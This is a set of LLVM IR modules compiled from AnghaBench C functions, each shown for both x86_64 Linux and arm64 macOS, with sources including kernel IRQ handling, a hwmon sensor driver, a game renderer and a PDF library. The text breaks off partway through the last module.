; ModuleID = 'AnghaBench/fastsocket/kernel/kernel/irq/extr_chip.c_handle_percpu_irq.c' source_filename = "AnghaBench/fastsocket/kernel/kernel/irq/extr_chip.c_handle_percpu_irq.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_2__ = type { ptr, ptr } %struct.irq_desc = type { ptr, i32 } @noirqdebug = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local void @handle_percpu_irq(i32 noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = tail call i32 @kstat_incr_irqs_this_cpu(i32 noundef %0, ptr noundef %1) #2 %4 = load ptr, ptr %1, align 8, !tbaa !5 %5 = getelementptr inbounds %struct.TYPE_2__, ptr %4, i64 0, i32 1 %6 = load ptr, ptr %5, align 8, !tbaa !11 %7 = icmp eq ptr %6, null br i1 %7, label %10, label %8 8: ; preds = %2 %9 = tail call i32 %6(i32 noundef %0) #2 br label %10 10: ; preds = %8, %2 %11 = getelementptr inbounds %struct.irq_desc, ptr %1, i64 0, i32 1 %12 = load i32, ptr %11, align 8, !tbaa !13 %13 = tail call i32 @handle_IRQ_event(i32 noundef %0, i32 noundef %12) #2 %14 = load i32, ptr @noirqdebug, align 4, !tbaa !14 %15 = icmp eq i32 %14, 0 br i1 %15, label %16, label %18 16: ; preds = %10 %17 = tail call i32 @note_interrupt(i32 noundef %0, ptr noundef nonnull %1, i32 noundef %13) #2 br label %18 18: ; preds = %16, %10 %19 = load ptr, ptr %1, align 8, !tbaa !5 %20 = load ptr, ptr %19, align 8, !tbaa !15 %21 = icmp eq ptr %20, null br i1 %21, label %24, label %22 22: ; preds = %18 %23 = tail call i32 %20(i32 noundef %0) #2 br label %24 24: ; preds = %22, %18 ret void } declare i32 @kstat_incr_irqs_this_cpu(i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @handle_IRQ_event(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @note_interrupt(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"irq_desc", !7, i64 0, !10, i64 8} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"int", !8, i64 0} !11 = !{!12, !7, i64 8} !12 = !{!"TYPE_2__", !7, i64 0, !7, i64 8} !13 = !{!6, !10, i64 8} !14 = !{!10, !10, i64 0} !15 = !{!12, !7, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/kernel/irq/extr_chip.c_handle_percpu_irq.c' source_filename = "AnghaBench/fastsocket/kernel/kernel/irq/extr_chip.c_handle_percpu_irq.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @noirqdebug = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define void @handle_percpu_irq(i32 noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = tail call i32 @kstat_incr_irqs_this_cpu(i32 noundef %0, ptr noundef %1) #2 %4 = load ptr, ptr %1, align 8, !tbaa !6 %5 = getelementptr inbounds i8, ptr %4, i64 8 %6 = load ptr, ptr %5, align 8, !tbaa !12 %7 = icmp eq ptr %6, null br i1 %7, label %10, label %8 8: ; preds = %2 %9 = tail call i32 %6(i32 noundef %0) #2 br label %10 10: ; preds = %8, %2 %11 = getelementptr inbounds i8, ptr %1, i64 8 %12 = load i32, ptr %11, align 8, !tbaa !14 %13 = tail call i32 @handle_IRQ_event(i32 noundef %0, i32 noundef %12) #2 %14 = load i32, ptr @noirqdebug, align 4, !tbaa !15 %15 = icmp eq i32 %14, 0 br i1 %15, label %16, label %18 16: ; preds = %10 %17 = tail call i32 @note_interrupt(i32 noundef %0, ptr noundef nonnull %1, i32 noundef %13) #2 br label %18 18: ; preds = %16, %10 %19 = load ptr, ptr %1, align 8, !tbaa !6 %20 = load ptr, ptr %19, align 8, !tbaa !16 %21 = icmp eq ptr %20, null br i1 %21, label %24, label %22 22: ; preds = %18 %23 = tail call i32 %20(i32 noundef %0) #2 br label %24 24: ; preds = %22, %18 ret void } declare i32 @kstat_incr_irqs_this_cpu(i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @handle_IRQ_event(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @note_interrupt(i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"irq_desc", !8, i64 0, !11, i64 8} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"int", !9, i64 0} !12 = !{!13, !8, i64 8} !13 = !{!"TYPE_2__", !8, i64 0, !8, i64 8} !14 = !{!7, !11, i64 8} !15 = !{!11, !11, i64 0} !16 = !{!13, !8, i64 0}
fastsocket_kernel_kernel_irq_extr_chip.c_handle_percpu_irq
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/hwmon/extr_sis5595.c_show_in_min.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/hwmon/extr_sis5595.c_show_in_min.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1 @llvm.compiler.used = appending global [1 x ptr] [ptr @show_in_min], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @show_in_min(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 { %4 = tail call ptr @sis5595_update_device(ptr noundef %0) #2 %5 = tail call ptr @to_sensor_dev_attr(ptr noundef %1) #2 %6 = load i32, ptr %5, align 4, !tbaa !5 %7 = load ptr, ptr %4, align 8, !tbaa !10 %8 = sext i32 %6 to i64 %9 = getelementptr inbounds i32, ptr %7, i64 %8 %10 = load i32, ptr %9, align 4, !tbaa !13 %11 = tail call i32 @IN_FROM_REG(i32 noundef %10) #2 %12 = tail call i32 @sprintf(ptr noundef %2, ptr noundef nonnull @.str, i32 noundef %11) #2 ret i32 %12 } declare ptr @sis5595_update_device(ptr noundef) local_unnamed_addr #1 declare ptr @to_sensor_dev_attr(ptr noundef) local_unnamed_addr #1 declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @IN_FROM_REG(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"sensor_device_attribute", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !12, i64 0} !11 = !{!"sis5595_data", !12, i64 0} !12 = !{!"any pointer", !8, i64 0} !13 = !{!7, !7, i64 0}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/hwmon/extr_sis5595.c_show_in_min.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/hwmon/extr_sis5595.c_show_in_min.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1 @llvm.used = appending global [1 x ptr] [ptr @show_in_min], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @show_in_min(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 { %4 = tail call ptr @sis5595_update_device(ptr noundef %0) #2 %5 = tail call ptr @to_sensor_dev_attr(ptr noundef %1) #2 %6 = load i32, ptr %5, align 4, !tbaa !6 %7 = load ptr, ptr %4, align 8, !tbaa !11 %8 = sext i32 %6 to i64 %9 = getelementptr inbounds i32, ptr %7, i64 %8 %10 = load i32, ptr %9, align 4, !tbaa !14 %11 = tail call i32 @IN_FROM_REG(i32 noundef %10) #2 %12 = tail call i32 @sprintf(ptr noundef %2, ptr noundef nonnull @.str, i32 noundef %11) #2 ret i32 %12 } declare ptr @sis5595_update_device(ptr noundef) local_unnamed_addr #1 declare ptr @to_sensor_dev_attr(ptr noundef) local_unnamed_addr #1 declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @IN_FROM_REG(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"sensor_device_attribute", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !13, i64 0} !12 = !{!"sis5595_data", !13, i64 0} !13 = !{!"any pointer", !9, i64 0} !14 = !{!8, !8, i64 0}
fastsocket_kernel_drivers_hwmon_extr_sis5595.c_show_in_min
; ModuleID = 'AnghaBench/lab/engine/code/renderergl2/extr_tr_bsp.c_ShaderForShaderNum.c' source_filename = "AnghaBench/lab/engine/code/renderergl2/extr_tr_bsp.c_ShaderForShaderNum.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_14__ = type { i32, ptr } %struct.TYPE_15__ = type { ptr } %struct.TYPE_18__ = type { i64 } %struct.TYPE_13__ = type { ptr } %struct.TYPE_12__ = type { i32 } @s_worldData = dso_local local_unnamed_addr global %struct.TYPE_14__ zeroinitializer, align 8 @ri = dso_local local_unnamed_addr global %struct.TYPE_15__ zeroinitializer, align 8 @ERR_DROP = dso_local local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [31 x i8] c"ShaderForShaderNum: bad num %i\00", align 1 @r_vertexLight = dso_local local_unnamed_addr global ptr null, align 8 @glConfig = dso_local local_unnamed_addr global %struct.TYPE_18__ zeroinitializer, align 8 @GLHW_PERMEDIA2 = dso_local local_unnamed_addr global i64 0, align 8 @LIGHTMAP_BY_VERTEX = dso_local local_unnamed_addr global i32 0, align 4 @r_fullbright = dso_local local_unnamed_addr global ptr null, align 8 @LIGHTMAP_WHITEIMAGE = dso_local local_unnamed_addr global i32 0, align 4 @qtrue = dso_local local_unnamed_addr global i32 0, align 4 @tr = dso_local local_unnamed_addr global %struct.TYPE_13__ zeroinitializer, align 8 @llvm.compiler.used = appending global [1 x ptr] [ptr @ShaderForShaderNum], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal ptr @ShaderForShaderNum(i32 noundef %0, i32 noundef %1) #0 { %3 = tail call i32 @LittleLong(i32 noundef %0) #2 %4 = icmp sgt i32 %3, -1 %5 = load i32, ptr @s_worldData, align 8 %6 = icmp slt i32 %3, %5 %7 = select i1 %4, i1 %6, i1 false br i1 %7, label %12, label %8 8: ; preds = %2 %9 = load ptr, ptr @ri, align 8, !tbaa !5 %10 = load i32, ptr @ERR_DROP, align 4, !tbaa !10 %11 = tail call i32 %9(i32 noundef %10, ptr noundef nonnull @.str, i32 noundef %3) #2 br label %12 12: ; preds = %2, %8 %13 = load ptr, ptr getelementptr inbounds (%struct.TYPE_14__, ptr @s_worldData, i64 0, i32 1), align 8, !tbaa !12 %14 = load ptr, ptr @r_vertexLight, align 8, !tbaa !14 %15 = load i64, ptr %14, align 8, !tbaa !15 %16 = icmp eq i64 %15, 0 br i1 %16, label %17, label %21 17: ; preds = %12 %18 = load i64, ptr @glConfig, align 8, !tbaa !18 %19 = load i64, ptr @GLHW_PERMEDIA2, align 8, !tbaa !20 %20 = icmp eq i64 %18, %19 br i1 %20, label %21, label %23 21: ; preds = %17, %12 %22 = load i32, ptr @LIGHTMAP_BY_VERTEX, align 4, !tbaa !10 br label %23 23: ; preds = %21, %17 %24 = phi i32 [ %22, %21 ], [ %1, %17 ] %25 = sext i32 %3 to i64 %26 = getelementptr inbounds %struct.TYPE_12__, ptr %13, i64 %25 %27 = load ptr, ptr @r_fullbright, align 8, !tbaa !14 %28 = load i64, ptr %27, align 8, !tbaa !21 %29 = icmp eq i64 %28, 0 %30 = load i32, ptr @LIGHTMAP_WHITEIMAGE, align 4 %31 = select i1 %29, i32 %24, i32 %30 %32 = load i32, ptr %26, align 4, !tbaa !23 %33 = load i32, ptr @qtrue, align 4, !tbaa !10 %34 = tail call ptr @R_FindShader(i32 noundef %32, i32 noundef %31, i32 noundef %33) #2 %35 = load i64, ptr %34, align 8, !tbaa !25 %36 = icmp eq i64 %35, 0 %37 = load ptr, ptr @tr, align 8 %38 = select i1 %36, ptr %34, ptr %37 ret ptr %38 } declare i32 @LittleLong(i32 noundef) local_unnamed_addr #1 declare ptr @R_FindShader(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"TYPE_15__", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"int", !8, i64 0} !12 = !{!13, !7, i64 8} !13 = !{!"TYPE_14__", !11, i64 0, !7, i64 8} !14 = !{!7, !7, i64 0} !15 = !{!16, !17, i64 0} !16 = !{!"TYPE_16__", !17, i64 0} !17 = !{!"long", !8, i64 0} !18 = !{!19, !17, i64 0} !19 = !{!"TYPE_18__", !17, i64 0} !20 = !{!17, !17, i64 0} !21 = !{!22, !17, i64 0} !22 = !{!"TYPE_17__", !17, i64 0} !23 = !{!24, !11, i64 0} !24 = !{!"TYPE_12__", !11, i64 0} !25 = !{!26, !17, i64 0} !26 = !{!"TYPE_11__", !17, i64 0}
; ModuleID = 'AnghaBench/lab/engine/code/renderergl2/extr_tr_bsp.c_ShaderForShaderNum.c' source_filename = "AnghaBench/lab/engine/code/renderergl2/extr_tr_bsp.c_ShaderForShaderNum.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_14__ = type { i32, ptr } %struct.TYPE_15__ = type { ptr } %struct.TYPE_18__ = type { i64 } %struct.TYPE_13__ = type { ptr } %struct.TYPE_12__ = type { i32 } @s_worldData = common local_unnamed_addr global %struct.TYPE_14__ zeroinitializer, align 8 @ri = common local_unnamed_addr global %struct.TYPE_15__ zeroinitializer, align 8 @ERR_DROP = common local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [31 x i8] c"ShaderForShaderNum: bad num %i\00", align 1 @r_vertexLight = common local_unnamed_addr global ptr null, align 8 @glConfig = common local_unnamed_addr global %struct.TYPE_18__ zeroinitializer, align 8 @GLHW_PERMEDIA2 = common local_unnamed_addr global i64 0, align 8 @LIGHTMAP_BY_VERTEX = common local_unnamed_addr global i32 0, align 4 @r_fullbright = common local_unnamed_addr global ptr null, align 8 @LIGHTMAP_WHITEIMAGE = common local_unnamed_addr global i32 0, align 4 @qtrue = common local_unnamed_addr global i32 0, align 4 @tr = common local_unnamed_addr global %struct.TYPE_13__ zeroinitializer, align 8 @llvm.used = appending global [1 x ptr] [ptr @ShaderForShaderNum], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal ptr @ShaderForShaderNum(i32 noundef %0, i32 noundef %1) #0 { %3 = tail call i32 @LittleLong(i32 noundef %0) #2 %4 = icmp sgt i32 %3, -1 %5 = load i32, ptr @s_worldData, align 8 %6 = icmp slt i32 %3, %5 %7 = select i1 %4, i1 %6, i1 false br i1 %7, label %12, label %8 8: ; preds = %2 %9 = load ptr, ptr @ri, align 8, !tbaa !6 %10 = load i32, ptr @ERR_DROP, align 4, !tbaa !11 %11 = tail call i32 %9(i32 noundef %10, ptr noundef nonnull @.str, i32 noundef %3) #2 br label %12 12: ; preds = %2, %8 %13 = load ptr, ptr getelementptr inbounds (i8, ptr @s_worldData, i64 8), align 8, !tbaa !13 %14 = load ptr, ptr @r_vertexLight, align 8, !tbaa !15 %15 = load i64, ptr %14, align 8, !tbaa !16 %16 = icmp eq i64 %15, 0 br i1 %16, label %17, label %21 17: ; preds = %12 %18 = load i64, ptr @glConfig, align 8, !tbaa !19 %19 = load i64, ptr @GLHW_PERMEDIA2, align 8, !tbaa !21 %20 = icmp eq i64 %18, %19 br i1 %20, label %21, label %23 21: ; preds = %17, %12 %22 = load i32, ptr @LIGHTMAP_BY_VERTEX, align 4, !tbaa !11 br label %23 23: ; preds = %21, %17 %24 = phi i32 [ %22, %21 ], [ %1, %17 ] %25 = sext i32 %3 to i64 %26 = getelementptr inbounds %struct.TYPE_12__, ptr %13, i64 %25 %27 = load ptr, ptr @r_fullbright, align 8, !tbaa !15 %28 = load i64, ptr %27, align 8, !tbaa !22 %29 = icmp eq i64 %28, 0 %30 = load i32, ptr @LIGHTMAP_WHITEIMAGE, align 4 %31 = select i1 %29, i32 %24, i32 %30 %32 = load i32, ptr %26, align 4, !tbaa !24 %33 = load i32, ptr @qtrue, align 4, !tbaa !11 %34 = tail call ptr @R_FindShader(i32 noundef %32, i32 noundef %31, i32 noundef %33) #2 %35 = load i64, ptr %34, align 8, !tbaa !26 %36 = icmp eq i64 %35, 0 %37 = load ptr, ptr @tr, align 8 %38 = select i1 %36, ptr %34, ptr %37 ret ptr %38 } declare i32 @LittleLong(i32 noundef) local_unnamed_addr #1 declare ptr @R_FindShader(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"TYPE_15__", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !12, i64 0} !12 = !{!"int", !9, i64 0} !13 = !{!14, !8, i64 8} !14 = !{!"TYPE_14__", !12, i64 0, !8, i64 8} !15 = !{!8, !8, i64 0} !16 = !{!17, !18, i64 0} !17 = !{!"TYPE_16__", !18, i64 0} !18 = !{!"long", !9, i64 0} !19 = !{!20, !18, i64 0} !20 = !{!"TYPE_18__", !18, i64 0} !21 = !{!18, !18, i64 0} !22 = !{!23, !18, i64 0} !23 = !{!"TYPE_17__", !18, i64 0} !24 = !{!25, !12, i64 0} !25 = !{!"TYPE_12__", !12, i64 0} !26 = !{!27, !18, i64 0} !27 = !{!"TYPE_11__", !18, i64 0}
lab_engine_code_renderergl2_extr_tr_bsp.c_ShaderForShaderNum
; ModuleID = 'AnghaBench/poco/PDF/src/extr_hpdf_utils.c_HPDF_ToRect.c' source_filename = "AnghaBench/poco/PDF/src/extr_hpdf_utils.c_HPDF_ToRect.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_3__ = type { ptr, ptr, ptr, ptr } ; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(argmem: write) uwtable define dso_local void @HPDF_ToRect(ptr dead_on_unwind noalias nocapture writable writeonly sret(%struct.TYPE_3__) align 8 %0, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4) local_unnamed_addr #0 { %6 = getelementptr inbounds %struct.TYPE_3__, ptr %0, i64 0, i32 3 store ptr %1, ptr %6, align 8, !tbaa !5 %7 = getelementptr inbounds %struct.TYPE_3__, ptr %0, i64 0, i32 2 store ptr %2, ptr %7, align 8, !tbaa !10 %8 = getelementptr inbounds %struct.TYPE_3__, ptr %0, i64 0, i32 1 store ptr %3, ptr %8, align 8, !tbaa !11 store ptr %4, ptr %0, align 8, !tbaa !12 ret void } attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(argmem: write) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 24} !6 = !{!"TYPE_3__", !7, i64 0, !7, i64 8, !7, i64 16, !7, i64 24} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!6, !7, i64 16} !11 = !{!6, !7, i64 8} !12 = !{!6, !7, i64 0}
; ModuleID = 'AnghaBench/poco/PDF/src/extr_hpdf_utils.c_HPDF_ToRect.c' source_filename = "AnghaBench/poco/PDF/src/extr_hpdf_utils.c_HPDF_ToRect.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_3__ = type { ptr, ptr, ptr, ptr } ; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(argmem: write) uwtable(sync) define void @HPDF_ToRect(ptr dead_on_unwind noalias nocapture writable writeonly sret(%struct.TYPE_3__) align 8 %0, ptr noundef %1, ptr noundef %2, ptr noundef %3, ptr noundef %4) local_unnamed_addr #0 { %6 = getelementptr inbounds i8, ptr %0, i64 24 store ptr %1, ptr %6, align 8, !tbaa !6 %7 = getelementptr inbounds i8, ptr %0, i64 16 store ptr %2, ptr %7, align 8, !tbaa !11 %8 = getelementptr inbounds i8, ptr %0, i64 8 store ptr %3, ptr %8, align 8, !tbaa !12 store ptr %4, ptr %0, align 8, !tbaa !13 ret void } attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(argmem: write) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" 